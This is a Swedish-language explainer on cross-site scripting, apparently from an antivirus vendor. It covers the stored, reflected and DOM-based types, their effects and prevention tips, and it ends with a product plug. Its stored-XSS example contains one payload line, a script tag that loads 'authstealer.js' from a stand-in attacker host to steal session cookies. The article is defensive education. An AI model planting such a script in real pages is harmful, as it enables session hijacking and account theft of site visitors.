Vad är XSS?
XSS-attacker – från engelskans Cross-site scripting – kallas även webbkodinjektioner och innebär att skadlig kod "injiceras" eller infogas på webbplatser som annars är betrodda. Vid en XSS-attack infogar cyberbrottslingar skadliga skript i innehållet på den webbplats de riktat in sig på. Dessa skript inkluderas sedan i dynamiskt innehåll som skickas till offrets webbläsare. Offrets webbläsare kan omöjligen veta att de skadliga skripten inte är betrodda, och kör dem därför.
Detta leder till att de skadliga skripten kan komma åt alla cookies, sessionstoken eller annan känslig information som webbläsaren sparat och använder på webbplatsen ifråga. Angripare kan också använda XSS för att sprida skadlig programvara, skriva om innehållet på webbplatser, orsaka problem på sociala nätverk och fiska efter inloggningsuppgifter. XSS skiljer sig från andra typer av webbattacker på så sätt att den inte riktar in sig direkt på själva applikationen. I stället är det användarna av webbapplikationen som utsätts för risker.
Så här fungerar XSS
Det som sker vid webbkodinjektioner eller XSS-attacker är att angriparen manipulerar en sårbar webbplats så att den returnerar skadliga skript till användare. Ofta involverar detta JavaScript men alla språk som körs på klientdatorerna kan användas. Cyberbrottslingar riktar in sig på webbplatser med sårbara funktioner där användare matar in uppgifter – till exempel sökfält, kommentarsfält och inloggningsformulär. Brottslingarna infogar sin skadliga kod ovanpå den legitima webbplatsen och lurar i princip webbläsare att köra deras skadliga kod varje gång webbplatsen laddas.
Eftersom JavaScript-koden körs på offrets webbläsarsida kan känsliga uppgifter för den autentiserade användaren stjälas från sessionen, vilket ger illvilliga aktörer möjlighet att rikta in sig på webbplatsadministratörer och kompromettera webbplatser.
Beroende på hur koden infogas kanske det skadliga innehållet inte ens finns på själva webbsidan, utan i stället som ett flyktigt element som bara verkar vara en del av webbplatsen vid den tidpunkt då utnyttjandet av sårbarheten sker. Detta kan ge en falsk bild av att det är själva webbplatsen som utsatts för risk, trots att så inte är fallet.
Det finns olika sätt att trigga en XSS-attack. Skriptkörningen kan till exempel triggas automatiskt när sidan laddas eller när en användare håller muspekaren över vissa sidelement, till exempel hyperlänkar. I vissa fall körs XSS mer direkt, till exempel i ett e-postmeddelande. Vissa XSS-attacker har inte ett specifikt mål, utan angriparen utnyttjar bara en sårbarhet i applikationen eller webbplatsen och ger sig på alla som har oturen att falla offer för attacken.
Beroende på attackens omfattning kan användarkonton äventyras, trojan-program kan aktiveras och innehållet på webbsidor kan manipuleras så att användare vilseleds att avslöja privat information. Sessionscookies kan blottas, vilket gör det möjligt för en förövare att uppträda som en giltig användare och missbruka användarens privata konton.
Om en förövare lyckas med en XSS-attack kan det få förödande konsekvenser för ett onlineföretags rykte och dess relation till sina kunder. De brister som gör det möjligt att lyckas med XSS-attacker är tyvärr ganska utbredda. XSS-attacker kan utnyttja sårbarheter i olika programmeringsmiljöer, exempelvis VBScript, Flash, ActiveX och JavaScript. XSS-attacker riktas främst in på JavaScript-kod, på grund av att detta språk är nära integrerat med de flesta webbläsare. Denna förmåga att utnyttja sårbarheter hos vanligt förekommande plattformar gör XSS-attacker både farliga och utbredda.
Vad XSS-attacker har för inverkan
Genom att utnyttja XSS-sårbarheter kan en angripare utföra skadliga åtgärder, till exempel:
- Omdirigera användare till en skadlig webbplats.
- Registrera användarnas knapptryckningar.
- Få åtkomst till användarnas webbläsarhistorik och urklippsinnehåll.
- Köra webbläsarbaserade kryphålsattacker (t.ex. se till att webbläsaren kraschar).
- Komma åt cookie-information för en användare som är inloggad på en webbplats.
- Stjäla sessionstoken för inloggningar, så att angriparen kan uppträda som offret och interagera med programmet utan att behöva känna till offrets lösenord.
- Tvinga användaren att skicka förfrågningar som styrs av angriparen till en server.
- Ändra innehållet på en sida.
- Lura offret att avslöja sitt lösenord till det aktuella programmet eller andra program.
- Utnyttja en sårbarhet i själva webbläsaren för att infektera offrets dator med annan skadlig programvara – och kanske till och med ta över offrets dator.
I vissa fall kan en XSS-attack leda till att offrets konton blir fullständigt komprometterade. Angripare kan lura användare att ange sina inloggningsuppgifter i ett falskt formulär och därmed ge all sin information till angriparen. När de väl har kommit över användaruppgifter kan angripare använda dem för att begå identitetsstöld eller ekonomiskt bedrägeri.
Olika typer av XSS-attacker
XSS-attacker kan delas in i tre huvudkategorier – lagrad XSS, reflekterad XSS och DOM-baserad XSS.
Lagrad XSS (persistent XSS)
Lagrad XSS, som även kallas persistent XSS, anses vara den mest skadliga typen av XSS-attacker. Lagrad XSS innebär att indata från användare lagras och sedan renderas på en webbsida. Vanliga ingångspunkter för lagrad XSS kan vara meddelandeforum, bloggkommentarer, användarprofiler och fält för användarnamn. En angripare utnyttjar vanligtvis denna sårbarhet genom att infoga XSS-kod på populära sidor på en webbplats eller skicka en länk till ett offer och lura dem att öppna den sida som innehåller den lagrade XSS-koden. Offret besöker sidan och koden körs på klientdatorn av offrets webbläsare.
Reflekterad XSS (icke-beständig XSS)
Den vanligaste typen av XSS kallas för reflekterad XSS, eller icke-beständig XSS. I det här fallet måste angriparens skadliga kod ingå i den begäran som skickas till webbservern. Det skickas sedan tillbaka på ett sådant sätt att HTTP-svaret inkluderar den skadliga koden från HTTP-begäran. Angripare använder skadliga länkar, nätfiske via e-post och andra sociala manipulationstekniker för att lura offret att skicka en begäran till servern. Den tillbakaskickade XSS-koden körs sedan i användarens webbläsare.
Reflekterad XSS är inte en beständig attack, så angriparen måste leverera den skadliga koden till varje offer. Dessa attacker görs ofta med hjälp av sociala nätverk.
DOM-baserad XSS
DOM-baserad XSS syftar på en sårbarhet för webbkodinjektioner som exponeras i DOM (Document Object Model) istället för i HTML-koden. I reflekterade och lagrade XSS-attacker kan du se sårbarhetskoden på svarssidan men i DOM-baserad XSS ändras inte HTML-källkoden och svaret för attacken. Den skadliga koden kan med andra ord inte hittas i svaret. Den kan endast ses under bearbetningstiden eller genom att undersöka sidans DOM.
DOM-baserade XSS-attacker utförs ofta mot klientdatorer och den skadliga koden skickas aldrig till servern. Detta gör den ännu svårare att upptäcka för brandväggar för webbaserade program (WAF) och säkerhetstekniker som analyserar serverloggar eftersom de aldrig ser attacken. De DOM-objekt som oftast manipuleras är de som innehåller webbadressen (document.URL), webbadressens ankardel (location.hash) och hänvisaren (document.referrer).
Exempel på XSS-attack
Till exempel: En illvillig aktör surfar på en webbplats för e-handel och identifierar en sårbarhet som gör det möjligt att bädda in HTML-taggar i webbplatsens kommentarssektion. De inbäddade taggarna ligger kvar permanent på sidan, vilket gör att webbläsaren inkluderar dem tillsammans med resten av källkoden varje gång sidan öppnas.
Angriparen lägger till en kommentar i stil med den här: Prisvärt erbjudande. Läs allt om erbjudandet här <script src=”http://attackersite.com/authstealer.js”> </script>.
När det är gjort aktiverar HTML-taggen i kommentaren, varje gång sidan öppnas, en JavaScript-fil som ligger på en annan webbplats och kan stjäla besökarnas sessionscookies.
Med hjälp av en sessionscookie kan angriparen infiltrera besökarens konto och enkelt få åtkomst till dennes personliga information och finansiella data. Under tiden är besökaren, som kanske inte ens har bläddrat ner till kommentarsektionen, fortfarande omedveten om att attacken har ägt rum.
Till skillnad från en reflekterad attack, där skriptet aktiveras när en besökare klickar på en länk, räcker det vid en lagrad attack att offret besöker den komprometterade webbsidan. Detta ökar attackens räckvidd och gör att alla besökare kan falla offer, oavsett hur försiktiga de är.
Ur angriparens synvinkel är persistenta XSS-attacker svårare att utföra, då det är svårt att hitta en webbplats som dels har hög trafik och dels har sårbarheter som gör det möjligt att bädda in skript permanent.
Att förebygga XSS-attacker
För att minimera sin sårbarhet för XSS-attacker bör webbplatsutvecklare/ägare:
- Se till att alla sidor på deras webbplats som tar emot inmatade data från användare filtrerar bort inmatningar av kod, till exempel HTML eller JavaScript.
- Söka efter eventuella sårbarheter i sina webbapplikationer och korrigera dem vid behov.
- Uppdatera sina webbplats- och serverprogram för att förhindra utnyttjandet av sårbarheter som en XSS-attack kan riktas mot.
För att undvika att falla offer för en XSS-attack bör varje användare:
- Inaktivera skript på sidor där de inte behövs eller inaktivera dem helt.
- Undvika att klicka på länkar från misstänkta e-postmeddelanden eller inlägg på anslagstavlor eftersom de kan leda till komprometterade webbsidor.
- Öppna webbplatser direkt genom att skriva webbadressen i webbläsarens adressfält i stället för via en tredjepartskälla eller länk.
- Hålla program uppdaterade för att få de senaste buggfixarna och säkerhetsuppdateringarna. Att uppdatera program regelbundet minskar avsevärt de sårbarheter som lämnar en webbplats eller applikation öppen för XSS-attacker.
- Se över dina applikationer och avgör vilka du behöver och vilka du knappt använder. Att göra dig av med appar du inte använder minskar antalet potentiella sårbarheter.
- Använd ett högkvalitativt antivirusprogram, till exempel Kaspersky Total Security – detta program jobbar dygnet runt för att hålla dina enheter och data säkra. Det blockerar både vanliga hot och mer komplexa hot, exempelvis virus, skadlig programvara, utpressningsvirus, spionappar och de senaste tricken från hackare.
Relaterade artiklar: